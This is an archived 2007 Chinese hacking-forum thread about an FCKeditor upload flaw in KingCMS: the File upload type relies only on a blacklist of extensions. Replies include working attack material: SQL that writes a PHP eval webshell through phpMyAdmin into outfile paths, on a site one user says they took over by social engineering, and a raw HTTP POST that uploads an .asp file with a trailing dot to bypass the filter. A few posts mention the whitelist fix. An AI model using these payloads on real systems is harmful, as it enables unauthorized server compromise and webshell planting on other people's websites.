邪恶八进制信息安全团队技术讨论组's Archiver

暗夜盛装 2007-7-28 20:45

[原创]KingCMS文章发布系统漏洞+工具

文章作者:零号
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

[b]注意:文章首发[url=http://www.chinanethack.com]中黑技术[/url]([url]www.chinanethack.com[/url]),后由原创作者友情提交到邪恶八进制信息安全团队技术论坛,转载请注明首发站点。[/b]

    这些天公司业务比较多...ASP程序员忙不过来...没办法之下我只好放弃自己的工作加入编写ASP的行列...公司想做一个免费电影网站但是网络上可以用的程序不多,在我找得想吐学下定决心自己写的时候发现了一个叫KingCMS的...好像不错的样子...拿到程序只有一个后台,前台全部是自动生成的,灵活性很好的说...仔细看了下代码.感觉也很不错.虽然有点乱的样子`哈哈`不从代码和他的CMS运作方式来看.CMS的作者还是很厚道的...怎么说一些也是玩安全的...先检查一下程序先~~~呵呵...程序真滴不错.不过有缺陷的地方起码有5,6个...一个就是程序自带的FCK编辑器.
    FCK编辑器很好用,比较简洁,我挺喜欢用的,编辑器本身过滤上的问题但是不明显,不过最明显的地方是在一个配置文件里 config.asp

代码是这样的

ConfigAllowedExtensions.Add  "File", ""
ConfigDeniedExtensions.Add  "File", "php|php3|php5|phtml|asp|asa|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|dll|reg|cgi"

ConfigAllowedExtensions.Add  "Image", "jpg|gif|jpeg|png|bmp"
ConfigDeniedExtensions.Add  "Image", ""

ConfigAllowedExtensions.Add  "Flash", "swf|fla"
ConfigDeniedExtensions.Add  "Flash", ""

分别是3个过滤设置

白名单 ConfigAllowedExtensions.Add 指的是除了列出的后缀文件能上传外 其他的文件都不能上传
黑名单 ConfigDeniedExtensions.Add 指的是除了列出的后缀文件不能上传外 其他的文件都能上传

其实从安全角度来说 有个白名单就够了 黑名单纯属多余... 不知道大家看有猫腻没有 Image和FLASH上传都有设置白名单.单单File没设置白名单过滤...很奇怪哦...虽然作者列了长长的黑名单...但是我总觉得有点什么不对...

看看 connector.asp 里面的过滤惨不忍睹...就那么一点象征性的过滤能干啥...?
白名单相对来说比较难绕一点.因为他要取得绝对字符串(照样能过)
黑名单不需要一个绝对的比较所以只要不和数组中的字符串一样就OK了.

修改一下下数据包...直接向上丢...整个世界清静了. 写成工具.喜欢拿走....

值得一说...那个FCK编辑器是通用的...所以不单单能用我的工具向KingCMS传木马.而是可以向所有有FCK编辑器的网站传木马.

说了一大堆的费话了...打字打烦了.草草结束掉.

暗夜盛装 2007-7-28 20:46

没什么技术性,全当新手的玩具,现在不玩黑客了,下午花了点时间做的.

毒药 2007-7-28 23:05

[quote]值得一说...那个FCK编辑器是通用的...所以不单单能用我的工具向KingCMS传木马.而是可以向所有有FCK编辑器的网站传木马.[/quote]

FCK终结者 这样理解不错
有漏洞相关代码么?

syuee 2007-7-29 09:06

poison


filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp



这个方法其实都可以

bear 2007-7-29 11:38

这个漏洞应该是和原来那个link部分的漏洞是一样的吧
FCKConfig.LinkUpload = true ;
FCKConfig.LinkUploadURL = FCKConfig.BasePath + 'filemanager/upload/' + _QuickUploadLanguage + '/upload.' + _QuickUploadLanguage ;
FCKConfig.LinkUploadAllowedExtensions  = "" ;      // empty for all
FCKConfig.LinkUploadDeniedExtensions  = ".(html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm)$" ;  // empty for no one
这个link部分的对文件类型也是没有验证的,不过这个是原来很早就有的了

不过现在好像用fckeditor的程序大多只用编辑器功能吧,如sablog-x~

康乃馨 2007-7-30 10:16

修补方法就是加上白名单就可以了吧 [s:263]

28度的冰 2007-7-30 11:54

[quote]引用第5楼康乃馨于2007-07-30 10:16发表的 :
修补方法就是加上白名单就可以了吧 [s:263][/quote]
嗯。
同时,其实根本就没有黑名单存在的必要。

lielanyu 2007-7-30 19:01

借地求助大家一个问题

最近用社会工程学搞了一个站的phpmyadmin.

我记得有一段sql语句是这样的:
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES(&#39;<?php eval($_POST[1]);?>&#39;);
select cmd from a into outfile &#39;D:/phpMyAdmin/libraries/d.php&#39;;
Drop TABLE IF EXISTS a;
在windows环境下是可以导出一个php的一句话木马,可是这个站是linux的主机
myadmin的路径是:/home/website/tech/phpmyadmin
请问各位兄弟有什么办法执行sql 语句在这里导出一个php文件?

remax 2007-7-30 23:30

select cmd from a into outfile &#39;/home/website/fuxk.php&#39;; [s:270]

asd 2007-7-30 23:48

路径是
select cmd from a into outfile &#39;/home/website/tech/phpmyadmin/fuckweb.php&#39;;

lielanyu 2007-7-31 09:27

谢谢楼上两位弟兄,可是执行后还是不行,提示如下

错误
SQL 查询:

CREATE TABLE a(

cmd text NOT NULL
);



MySQL 返回:

#1050 - Table &#39;a&#39; already exists

kylin 2007-7-31 09:31

寒 楼上的太有才了
才 几个单词 啊 用 词典翻译一下 你就知道什么意思了

liuyes 2007-7-31 10:58

Table &#39;a&#39; already exists

表a已经存在,换个名字呗

无可替代 2007-8-1 05:01

你抓下包不就看见了他的什么原理了吗?

karas007 2007-8-4 15:47

POST /admin/editor/FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=FileUpload&Type=File&CurrentFolder=/ HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------7d711d020128
Host: 192.168.0.13
Content-Length: 187

-----------------------------7d711d020128
Content-Disposition: form-data; name="NewFile"; filename="008.asp."Content-Type: text/plain

马的内容
-----------------------------7d711d020128--

落叶纷飞 2007-8-6 22:17

这个究竟是fck的漏洞好事kingcms的洞啊?

页: [1]
© 1999-2008 EvilOctal Security Team